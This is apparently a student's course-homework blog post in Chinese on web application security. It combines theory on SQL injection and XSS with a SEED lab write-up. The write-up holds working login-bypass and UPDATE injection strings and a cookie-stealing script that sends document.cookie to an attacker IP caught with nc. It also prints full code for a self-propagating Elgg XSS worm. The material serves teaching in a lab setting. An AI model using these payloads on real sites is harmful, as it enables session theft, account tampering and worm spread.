20199310 2019-2020-2 《网络攻防实践》第11周作业

作业课程：	https://edu.cnblogs.com/campus/besti/19attackdefense
作业要求：	https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10737
课程目标：	学习《网络攻防技术与实践》教材第十一章，并完成课后作业
本次作业实现目标：	学习Web应用程序安全攻防

作业正文:

1 知识点梳理

1.1 Web应用程序体系结构及其安全威胁

Web应用程序：一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态，通常支持如JavaScript等脚本语言及HTML等渲染编辑语言。浏览器作为“瘦”客户端的便捷性，更新和维护Web应用程序无须向大量客户端分发、安装与更新任何软件，也继承了Web天生的多平台兼容性。
Web应用的体系结构图：

主要结构包括：浏览器，Web服务器，Web应用程序，数据库和传输协议，由浏览器作为“瘦”客户端主要完成数据显示与展示内容的渲染功能”;而由功能强大的“胖”服务器负责完成主要业务的计算处理;两者之间通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。“胖”服务器端则由Web服务器软件、Web应用程序及后端数据库构成，并通过经典的三层架构，即表示层、业务逻辑层和数据层，来进行组织与构建。

Web应用安全威胁：
Web应用体系结构中每个组件都有可能面临典型的安全你威胁：

针对浏览器和终端用户的Web浏览安全威胁:具体包括以浏览器渗透攻击为核心的网页木马，Phishing网站钓鱼等。
针对传输网络的网络协议安全威胁:如针对HTTP明文传输协议的敏感信息监听，在网络层、传输层和应用层都存在的假冒身份攻击，以及拒绝服务攻击等。
系统层安全威胁:Web 站点的宿主操作系统，如Windows Server、 Linux 等，存在着远程渗透攻击和本地渗透攻击威胁。
Web服务器软件安全威胁:Web服务器软件如IIS、Apache作为一种典型的网络服务，也不可避免地存在着安全漏洞与弱点，攻击者可以利用这些漏洞对Web服务器实施渗透攻击，或者获取敏感信息。
Web应用程序安全威胁:程序员在使用ASP、PHP等脚本编程语言实现Web应用程序时，由于缺乏安全意识或有着不良的编程习惯，最终导致Web应用程序出现安全漏洞，从而被攻击者渗透利用，包括SQL注入攻击、XSs跨站脚本攻击等。
Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容，以及Web客户输入的数据内容，存在着被窃取、篡改及输入不良信息等威胁。

1.2 Web应用安全攻防技术概述

Web应用的信息收集：
在攻击者面对一个目标Web应用程序时，往往他们要做的第一件事情就是手工地浏览Web应用的各个页面、菜单、目录，并查看关键页面的源代码，在攻击者看似随意的站点浏览过程中，事实上他们已经在开始收集目标Web应用程序如下的各种不同类型的信息。
静态和动态页面：
静态页面主要从其HTML源文件中获取一些有价值的隐藏和注释信息，如表单中的隐藏字段可能存在会话处理、用户标识、口令等敏感信息，而一些秘密的HTML注释中可能包含用户口令、SQL字符串等，有助于攻击者实施进一步的渗透；动态页面如ASP,PHP,JSP等,更会引起攻击者注意，可以根据页面命名规则，以及参数名称、类型与含义等，如果发现了一个usermenu.asp页面，那么就可能还存在一个叫做adminmenu.asp的页面，如果看到页面连接为book.asp?book_id=100，那么可以猜想Web应用后台数据库中可能有的一个book数据表，主键名为book_id。
目录结构：
Web服务器上的存储目录结构也是攻击者关注的信息，攻击者不会局限于利用浏览器及站点的导航链接来进行访问，他们会对Web服务器上可能存在的管理员目录、旧版本目录、备份目录、数据目录等进行探查，来查看这些目录是否存在，以及是否由于不安全的配置可以进行目录文件枚举，从而可以从中搜索包含关键信息或可被攻击的文件。
辅助性文件：
Web应用程序的一系列辅助性文件，如CSS级联样式表、XML样式表、JavaScript 文件、include文件等，通常用于格式化HTML页面以适应流行浏览器的不同要求，或者执行客户端的输入验证。页面链接URL很少会直接引用这些文件，但在页面源代码中很可能会指向它们，手动审查这些辅助性文件可能会得到数据库字段结构、目录路径、Web 应用输入参数以及数据库连接字符串等重要信息。
输入表单：
表单(form)是Web应用程序接受用户输入的主要途径，通过手工审查页面源代码可以发现一些关键表单(如处理用户登录的表单)的位置，并可以深入地了解页面表单的各方面信息，包括提交数据的方法、表单处理行为、输入字段名称、最大长度限制、隐藏字段、自动完成标记、口令字段等，在了解这些关键信息之后，攻击者可能针对某些表单构造自动口令探测或者注入攻击的请求，尝试绕过表单正常处理过程，获得进一步访问权。，
查询参数字符串：
从Web应用程序中很容易收集到一些动态页面文件的查询参数字符串，这些查询参数字符串可以被复用以假冒其他用户、获取受限的数据、运行任意的系统命令，或者执行其他应用程序开发者所不希望看到的动作。参数变量的名称提供了Web应用程序内部工作的信息，它们可能代表着数据表的字段名称，也可能是明显的会话标识符、用户名或口令字段。

Web应用程序安全评估与漏洞探测：
在获得目标Web站点应用程序入口点、源代码和一些关键信息之后，渗透测试人员还通常会对目标应用程序的各个主要功能做一次深入的研究和评估，最终目的是为了透彻理解目标应用程序的体系结构和设计思路，找出可能存在的薄弱环节，最后再循序渐进地总结出针对这个Web应用程序的详细攻击步骤。针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查。而完全以手工的方式，来评估Web应用程序的安全性并找出攻击漏洞点，是非常费时间的，而且对于分析人员的技术水平要求，因此往往需要一些Web应用程序分析、安全评估和漏洞探测工具来提供辅助。Web应用安全辅助分析工具包括如下三种重要类型。

浏览器插件:一些面向Web应用程序分析、调试和安全检查的浏览器插件能够支持你在浏览网站时，实时地查看和修改传递给远端Web服务器的数据。浏览器安全分析插件的原理非常简单:在浏览器中嵌入软件模块,监控浏览器将要发给远端Web服务器的请求，当观察到新的请求时，将其暂停并提交给分析人员，并为其提供修改请求数据的功能，之后再将修改后的请求发送出去。作为渗透测试者，这些浏览器插件在识别表单隐藏字段、修改查询参数和请求头部，以及检查远端服务器的响应等Web应用程序渗透攻击步骤中都大有用武之地；
免费工具集:安全社区也提供了一些开源或免费的Web应用安全评估工具集，它们较浏览器插件往往具有更强大的功能；、
商业Web应用安全评估系统和漏洞扫描器:目前国内外在Web应用安全评估方向上的产品并不算很多，比较知名的如IBM Rational AppScan,HP WebInspect,Acunetix Web Vulnerability Scanner,Syhunt Sandcat等。

Web服务平台中的安全漏洞：

数据驱动的远程代码执行安全漏洞:Web服务器软件通过一些功能扩展模块来为核心的HTTP引擎增加其他的功能，启动包括动态代码执行(如微软的ASP)、站点检索(如IIS的索引服务)、Web 分布式写作与版本管理协议WebDAV、SSL加密协议等。这些扩展模块往往存在安全漏洞，如IIS软件中被红色代码所利用的IIS检索服务缓冲区溢出漏洞、WebDAV模块Translate:f漏洞等: Apache 软件也在它所包含的各种组件模块，如Tomcat、OpenSSL、mod_rewrite、mod_mylo、mod_gzip、mod_isapi、mod_jk等，曾出现过许多远程代码执行安全漏洞，并在Exploit-db等渗透攻击网站上拥有较多的渗透攻击代码;
样本文件安全漏洞：为了让更多人接受和依赖他们的技术，Web服务器软件厂商经常在他们的软件包中包含样本文件和代码示例来演示自己平台一些新奇的用法。由于这些文件只是用来作为演示，往往编写地很仓促，但在默认的Web服务器软件安装实例中却一直保留着。一旦这些样本文件存在安全漏洞，就使得攻击者可以利用这些默认包含的样本文件来对Web服务器实施攻击，例如IIS 4.0的样本文件showcode.asp和codebrew.asp中曾发现的一个典型样本文件漏洞，只需发出类似http://SERVER/msadc/Samples/SELECTOR/showcode.asp?source=/../../../boot.ini的URL请求，就允许攻击者任意查看Web服务器上的任何文件内容。
源代码泄露：源代码泄露漏洞让渗透测试人员能够查看到没有防护措施Web服务器上的应用程序源代码，在特定情况下，攻击者甚至可以利用这些漏洞查看到系统级的文件，如/etc/passwd/gobal.asa+.htr等。最经典的源代码泄露漏洞包括IIS上的+.hr漏洞，通过"http://SERVER/global.asa+.htr"就可直接查看到global.asa文件内容。
资源解析攻击：Web服务器软件在处理资源请求时，需要将同--资源的不同表示方式解析为标准化名称，这一过程被称为资源解析。如HTTP的资源请求URL可以用Unicode方式进行编码，而Web服务器软件在接受Unicode编码方式的URL时，就需要进行标准化地解析，但一些Web服务器软件可能在资源解析过程中遗漏一些输入合法性与合理性验证的处理，从而就可能导致目录遍历、敏感信息泄露、甚至代码注入攻击。IIS软件中的ASP::SDATA漏洞是人们在主流Web平台上最早发现的资源解析类安全漏洞之一，它允许攻击者下载到ASP源代码而不是把它们提交给IIS ASP引擎进行动态渲染。

Web应用程序安全威胁：

针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段，包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等;
授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段，包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制不完善弱点、会话身份窃取攻击等;
客户端攻击:扰乱或者渗透攻击Web站点客户端用户的攻击手段，包括内容欺骗、跨站脚本攻击等;
命令执行攻击:在Web站点上执行远程命令的攻击手段，包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入、SQL注入、SSI (Server-Side Include)注入等;
信息暴露:获取Web站点具体系统信息的攻击手段，包括目录列举、信息泄露、路径遍历、资源位置可预测等;
逻辑攻击:扰乱或者渗透攻击Web应用逻辑流程的攻击手段，包括功能滥用、拒绝服务攻击、对抗自动程序不完善、处理验证过程不完善等。

Web应用安全防范措施：

Web站点网络传输安全设防措施：尽量使用HTTPS来保障Web站点传输时的保密性、完整性与身份真实性，至少要对登录过程进行加密保护，通过加密的连接通道来管理Web站点，避免使用未经加密的telnet、FTP、HTTP进行Web后台管理，而使用SSH、SFTP等安全协议，对关键的Web服务器，设置静态绑定MACIP映射，在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制，在网关位置部署防火墙与入侵检测系统对Web服务器实施保护与安全检测，采用冗余等机制来应对拒绝服务攻击。
Web站点操作系统及服务安全设防措施：对Web站点的操作系统与服务器软件进行及时的补丁更新:对于Windows平台，尽量通过软件正版化采纳自动补丁更新服务,对于大型企业与组织网络，通过部署Windows Server更新服务来快速可靠地更新系统;对于Linux平台，视不同的发行版，采用APT、YUM等软件自动更新工具及crond设置定期更新任务脚本，达到对服务器软件的及时更新，对Web站点服务器的操作系统及各种开放服务进行远程安全漏洞扫描，在攻击者利用安全漏洞实施攻击之前发现和修补这些安全漏洞，采用提升系统与服务安全性的一般性设防措施，包括关闭所有不使用的服务，避免使用明文传输的网络服务;设置强口令字，以及安全的服务配置:部署防火墙，设置对控制及内容上传通道的限制访问:配置数据备份服务，必要时设置冗余和双机热备机制。
Web应用程序安全设防措施：在设计与开发Web应用时，应谨慎考虑是否采用动态页面技术、是否支持客户端执行代码、是否允许接受用户输入，信息发布类网站往往无须引入动态页面和用户交互，而且可以通过后台系统来产生信息发布静态页面的方式(这种Web站点构建方式也被新浪、搜狐等门户网站所采纳)来兼顾安全性、访问性能与便捷性，对于必须提供用户交互、采用动态页面的Web站点，尽量使用具有良好安全声誉及稳定技术支持力量的Web应用软件包，定期进行Web应用程序的安全评估与漏洞扫描检测，对Web应用程序应跟进版本更新和安全补J发布情况，进行升级与安全漏洞修补，只在必要时候自主或外包开发Web应用程序，在开发和部署过程中需重视安全编程、持续性的安全测试与维护，安全编程与测试的检查点有:独立、完整且集中的输入校正，校验全部的程序输入、校验输入长度与类型;对HTTP所有内容进行校验，校验向用户输出的数据，使用安全的SQL查询方式，禁止使用JavaScript进行任何校验;使用安全统一的编码或转义方式;设定有安全的权限边界:校验被调用的后台命令、校验被调用的文本或配置文件、确保程序所记录的日志可控。使用Web服务器软件提供的日志功能，对Web应用程序的所有访问请求进行日志记录与安全审计。
Web站点数据安全设防措施：提高网站内容维护人员的数据安全意识,确保组织与国家秘密信息不被泄露到对外公开提供服务的Web站点上，同时也不应在网上公开团队/个人承担涉密项目工作，培养注重个人隐私的良好习惯，在网上公开的数据中尽可能地避免泄露个人隐私:对于允许用户提交数据的网站，需重视用户提交数据的合法性审查，对维护网站的数据安全实施日常监测和防护:提升Web站点的安全性，避免网站被攻击之后的信息泄露、网站内容篡改与不良信息上传:掌握并善用Google搜索引擎技巧，定期检查自己维护网站和域名内的敏感数据是否被Google检索;对网站的安全配置进行检查，尽量消除目录遍历、文件枚举以及随意上传等渠道:对接受用户交互的网站列出清单，安排日常数据安全审核与检查机制。

1.3 SQL注入

代码注入：代码注入攻击通过利用Web应用程序的输入验证不完善漏洞，使得Web应用程序执行由攻击者所注入的恶意指令和代码，造成敏感信息泄露、权限提升或对系统的未授权访问等危害后果。

代码注入分类：

恶意读取、修改与操纵数据库的SQL注入攻击:
在Web服务器端安装、执行Webshell等恶意脚本的PHP注入或ASP注入攻击;
在Web服务器端恶意执行操作系统命令的Shell注入攻击;
其他多种多样的注入攻击，如LDAP注入、邮件命令注入、空字节注入、SSI注入、XPath注入、XML注入、XQuery注入等。

SQL注入原理：SQL注入是利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术。这类被攻击的漏洞被称为SQL注入漏洞，是由于用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符，如引号(')、双引号(")、反引号(`)等，由于没有进行严格的类型判断，从而使得用户可以输入并执行一些非预期的SQL指令代码。SQL注入攻击的原理是向Web应用程序提供的用户输入接口(如一个动态页面的输入参数、表单的输入框，等等)输入一段精心构造的SQL查询命令，攻击和利用不完善的输入验证机制，使得注入代码得以执行完成非预期的攻击操作行为。

SQL注入过程：

1.发现SQL注入点：一般常见的SQL注入存在于形如http://SITE/xwx.xsp?some_rec=yyy的动态网页中，一个动态网页可能有一个或多个参数，参数类型也可能是整数型或字符串型，如果某些参数用于生成SQL语句访问数据库，就可能存在着SQL注入，一旦编写这些动态网页的程序员没有足够的安全意识和安全编程技术，没有进行必要的转义字符过滤和类型检查,那么存在SQL注入漏洞的可能性就非常大，而对这些Web应用程序进行SQL注入攻击的成功率也非常高。
如果将原先some_rec=yyy改为some_rec=yyy and 1=1，则SQL语句不会造成任何影响，如果改为some_rec=yyy and 1=2则是永假，会返回空白页或者错误提示。
2.判断后台数据库类型：利用数据库服务器的系统变量进行判断，不同数据库服务器拥有不同的系统变量，如MS SQL Server有user和db_name()等系统变量，而MySQL也有basedir(MySQL服务器安装路径)等系统变量，利用这些系统变量可以判断出当前Web应用程序后台服务器的类型，如执http://SITE/xxx.asp?some_rec=yyy and db_name()>0不仅可以判断是否是MS SQL Server，而且还可以得到当前正在使用的数据库名。
3.后台数据库中管理员用户口令字猜解：进行管理员用户口令字猜解的攻击过程一般包括猜解表名、猜解字段名，以及用户名与口令猜解。猜解表名是利用已发现的SQL注入点，根据个人经验来猜解管理员用户账号所在的表名，然后通过猜解字段常用名称来进行字段的判断，在得到表名和字段名之后，进一步猜测用户名和口令字段值，如仙获取用户名字段长度，然后逐位猜解字符串每位的ASCII值，可以用二分法mid(username,N,1)快速逼近真实取值，对口令也是一样。
4.上传ASP后门，得到默认账户权限：通过后台管理界面登陆，上传ASP后门，对Web站点进行远程控制，后门一般被上传至Web虚拟目录下的Scripts下，攻击者可以通过浏览器访问它，进而得到Web服务器软件的默认账户权限，然后获得系统根用户权限。
5.利用数据库扩展存储过程执行Shell命令：如果当前的数据库连接支持类似于MSSQLServer中的xp_cmdshell扩展存储过程，且拥有数据库管理系统的最高权限,就可以利用该存储过程直接调用操作系统的Shell命令进行任意的操作。

SQL注入防范：

1.使用类型安全(type-safe) 的参数编码机制;
2.凡是来自外部的用户输入，必须进行完备检查;
3.将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象;
4.加强SQL数据库服务器的配置与连接.

1.4 XSS跨站脚本攻击

XSS跨站脚本攻击：XSS跨站脚本攻击的最终目标不是提供服务的Web应用程序，而是使用Web应用程序的用户。XSS跨站脚本漏洞存在于Web应用程序中，使得攻击者可以在Web页面中插入恶意的HTML或JavaScript代码，当用户浏览该网页时，客户端浏览器就会解析和执行这些插入的代码，从而造成获取用户敏感信息、客户端渗透攻击等危害后果。
XSS攻击基本原理：攻击者可以利用Web应用程序中的安全漏洞，在服务器端网页中插入一些恶意的客户端脚本代码，在Web服务器上产生出一些恶意攻击页面。当其他用户访问这些网页时，他们使用的客户端浏览器就会对下载并执行这些网页中的恶意客户端脚本，进行解析与执行，从而遭受攻击。攻击方式包括绕过客户端安全策略访问敏感信息，窃取或修改会话Cookie、进行客户端渗透攻击获取访问权等。
XSS漏洞分类：
持久性XSS漏洞：持久性XSS漏洞是危害最为严重的xss漏洞，它通常出现于一些可以将用户输入持久性地保存在Web服务器端，并在一些“正常”页面中持续性地显示，从而能够影响所有访问这些页面的其他用户，因此该类XSS漏洞也被称作存储性(stored)XSS漏洞。这种漏洞通常出现在留言本、BBS论坛、博客等Web应用程序中，攻击者通过留言、帖子、评论等方式注入包含恶意脚本的内容之后，这些恶意脚本将被永久性的包含在网站页面中，从而危害其他阅读留言本、BBS及博客的用户。特别是在一些社会网络型网站中，针对该类漏洞的客户端执行代码还可以被设计成具备跨用户进行自我传播的能力，从而成为XSS蠕虫。
非持久性XSS漏洞：非持久性XSS漏洞(也被称为反射XSS漏洞)则是最为普遍的类型，当Web浏览器在HTTP请求参数或HTML提交表单中提供的数据，被立即由服务器端脚本使用产生一个提供给该用户的结果页面，而缺乏恰当的请求数据安全验证与过滤，那么就很可能存在着非持久性的xSS漏洞。该类漏洞的一个经典例子是站点搜索引擎功能，如果用户搜索特定的一个查询字符串，这个查询字符串通常会在查询结果页面中进行重新显示，如果查询结果页面没有对输入查询字符串进行恰当的转义和过滤处理，以消除HTML控制字符，那么就可能导致被XSS包含跨站脚本攻击。

XSS主要流程：

1.攻击者构造出一个包含恶意脚本的bank.com登录请求链接，并通过Email/HTTP等方式将该攻击链接发送给其他bank.com网站用户:.
2.受害用户点击攻击链接后，将会把恶意链接中包含的恶意脚本当作用户名参数提交给bank.com的登录处理网页: .
3.由于bank.com登录处理页面存在XSS漏洞，将会在反馈的欢迎页面中包含恶意客户端脚本;
4.攻击者的恶意客户端脚本在受害用户浏览器中执行，通常会驱动浏览器向攻击者发送会话令牌，如会话ID、Cookie信息等;
5.者获得用户会话令牌之后，就可以劫持用户会话，或者伪造用户登录bank.com,并可实施进一步攻击。

2.实验过程

课外实践作业一：SEED SQL注入实验

实践内容：在本次实验中，将会修改phpBB的web应用程序，发现SQL注入漏洞，实现攻击。
环境配置：

虚拟机：SEED Ubuntu 16.04

需要在虚拟机上安装配置Firefox，apache，phpBB2,这三个在SEED Ubuntu镜像中已有，Apache Server只需要运行命令sudo service apache2 start:

phpBB2的源码路径在/var/www/SQL/SQLLabMysqlPhpbb/下：

如果需要配置URL在其他机器访问，可以修改/etc/hosts文件，修改指向IP：

实验任务：
① SELECT语句的攻击
访问虚拟机内的URLwww.SEEDLabSQLInjection.com,在进入SEED Lab之前系统会要求你登陆。这个登陆认证由服务器上的/var/www/SQLInjection/unsafe_home.php实现，需要用户输入用户名和密码来通过认证:

这里是通过输入的name和password与数据库中USERS_TABLE表中的数据进行匹配，如果匹配成果会返回如id,eid,salary等数据，然后我们从SEED上的root用户进入mysql，为了实现在已知账号的情况下不用密码登录，我们需要查询账号列表，首先查找mysql中有哪些数据库：

这里我们根据命名含义选择Users数据库，然后再查询有哪些表：

根据表的命名推测，credential大概率是我们需要的注册用户表，然后对其进行查询验证：

这里有6个用户，最下面一个admin用户应该是管理员账户，password这里用了SHA-1进行加密，解密后是seedubuntu，网上免费解密链接可以进行解密:

这里我们选择admin这个用户，在上面所说的网页源码文件中，这里的主要验证部分是用户名与密码同时与数据库中的数据一致，由于实验前提是我们只知道用户名就可以直接登录，这里我们只需在select语句里把匹配密码部分的SQL语句注释掉，添加'#就可以了，也就是在登录时在用户名之后添加；

从URL中我们可以看出，这个网页通过get方法明文传递信息，此时Password后面为错误密码123456，因为在源码中后面判断password的sql语句已经被'截断，被注入的#注释掉了所以没有影响。

②来自命令行的SQL注入攻击
这里我们使用到SEED自带的CURL工具，主要功能是通过命令行来实现URL传值和执行，参考上面我们用admin用户登录的URL，其中%27表示',%23表示的是#,这是用于URL特殊字母的编码方式，因此会注释掉后面password的传值内容，我们这里使用Alice这个账号，输入命令为```curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=Alice%27%23&Password=123456',显示进入User Details无误：

③追加和对UPDATE语句的攻击
这里如果是在select语句的后面追加，我们需要用到update命令，并且在select语句结束以后要用;隔开，如我们需要更新Alice的为0，如果用Alice账号登录的话，需要输入Alice';updata credential set salary='0' where Name='Alice' #,但是出现的语法错误，这里应该是一个sql语句变量无法支持多sql语句，先查询再更新会出现死锁问题，所以我们只能从原sql为update的操作中进行注入，我们通过unsafe_edit_backend.php文件里找到了update命令：

这里我们可以直接从nickname后面加入sql注入，由于所用用户nickname都为空，所以我们可以输入',Salary = '0' where Name = 'Alice';#,这样email后面的赋值均被注释掉了，也就可以直接修改其他用户的属性值，下面用admin用户登录，修改Alice的salary为0：

修改成功：

然后我们尝试用Alice的用户修改Boby的密码为888888，这里我们可以用linux自带函数生成SHA-1密文：

修改成功：

课外实践作业二：SEED XSS攻击实验

实践内容：在本次实验中，创建了一个具有XSS注入漏洞的phpBB版本。

实验环境：参考上一个作业的环境配置，此处我们访问的链接为http://www.xsslabelgg.com。
下面给出环境下所有账号和密码：

Username	Password
admin	seedelgg
alice	seedalice
boby	seedboby
charlie	seedcharlie
samy	seedsamy

实验任务：
① 显示恶意警告窗口
我们这里用Alice的账号和密码登录到论坛，然在个人页面中Edit profile的Brief description里加入<script>alert(’XSS’);</script>JS注入，内容是一个警告提示框：

① 显示本机Cookie
依据同样的方法，使用<script> alert(document.cookie);</script>注入一个警告提示框，显示当前网页文档的cookie信息：

这里只是显示本机cookie信息，攻击者要获取其信息，还要通过传值的方式，
③ 获取其他主机Cookie
这里用js写入一个img标签，浏览器从img标签中的src字段加载cookie，并用GET请求将发送到攻击者的机器。escape是URL中对非ASCII字符的编码，<script>document.write('<img src=http://192.168.200.15:6677?cookie='+escape(document.cookie) +'>');</script>，这里我们切换账号用Boby登录，然后添加Alice好友并进入其主页：

此时Brief description不显示js注入内容，而是通过get方式将值传给攻击机，我们可以在攻击机上用nc命令对设定端口进行tcp监听，-l是监听TCP数据，-v是获取详细详细TCP信息，这里可以显示GET请求获得的cookie值：

④ 成为受害者好友
接下来，我们可以通过HTTP Header Live分析添加好友时传递的一些信息：

http://www.xsslabelgg.com/action/friends/add?friend=44&__elgg_ts=1589367285&__elgg_token=D_7MXb10qor2gJE8awJPig这里请求方式是post，通过friend``````__elgg_ts``````__elgg_token进行传值，然后这里参考了孙启龙博客上的js代码：

<script type="text/javascript">
window.onload = function () {
	var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;

	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

这里通过ts和token两个变量分别获取__elgg_ts和__elgg_token两个值，friend值固定是44代表是Alice的id，然后用ajax的get方法进行交互，将这段代码放入About me部分，用Edit html模式写入，我们用Boby账号登录，显示Boby现在没有朋友：

然后我们搜索Alice，进入其主页：

此时页面还未显示已加好友，我们不点击add friend，直接进入Boby的朋友圈列表，发现已经添加成功：

⑤ 修改好友信息
如果需要修改受害者的个人资料，应该编写一个XSS蠕虫来完成，我们通过HTTP Header Live查看修改资料是发送的哪些参数，我们用Alice账号登录，点击Edit profile后进入Edit html，点击保存，此时我们可以通过HTTP Header Live找到我们需要的参数和访问url：

类似的，这里也有一些请求通过参数进行传递，如&__elgg_token，&__elgg_ts，&__name=elgg.session.user.name等，我们根据参考资料写了一个XSS蠕虫代码：

<script type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by Alice's xss attack.  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		var aliceGuid=44;
		if(elgg.session.user.guid!=aliceGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

其中最重要的是获取Alice账号的Guid，并根据判断Guid是否为非Alice账号进行攻击，然后我们切换Boby账号进入个人主页，没有任何描述信息，再进入好友Alice的主页，然后回到个人主页，发现主页信息已经被篡改：

以上代码不具备自传播性质，只有当受害者查看时指定的个人信息时才会被修改，而自身不会传播该蠕虫。因此我们可以改进代码，通过自传播的方式进行大规模感染扩散，这里主要使用了DOM API的方法，分析以下一段代码：

<script id=worm>
    var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; ➀
    var jsCode = document.getElementById("worm").innerHTML; ➁
    var tailTag = "</" + "script>"; ➂
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); ➃
    alert(headerTag + jsCode + tailTag);
</script>

这段代码通过使用innerHTML标签获取了worm当前块内的所有代码，然后补全头尾信息，通过encodeURLComponent函数将字符串作为URI组件进行编码，最后通过alert输出显示框。
我们之前代码进行修改：

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by Alice's xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var aliceGuid=44;

		if(elgg.session.user.guid!=aliceGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

这里我们用Charlie这个账号进行验证，进入个人页面，没有显示任何描述内容，然后通过朋友搜索进入Alice的个人主页，

显示已被攻击：

编辑个人信息，About me部分被注入js：

再换用Samy账号进入Charlie主页，自传播验证成功：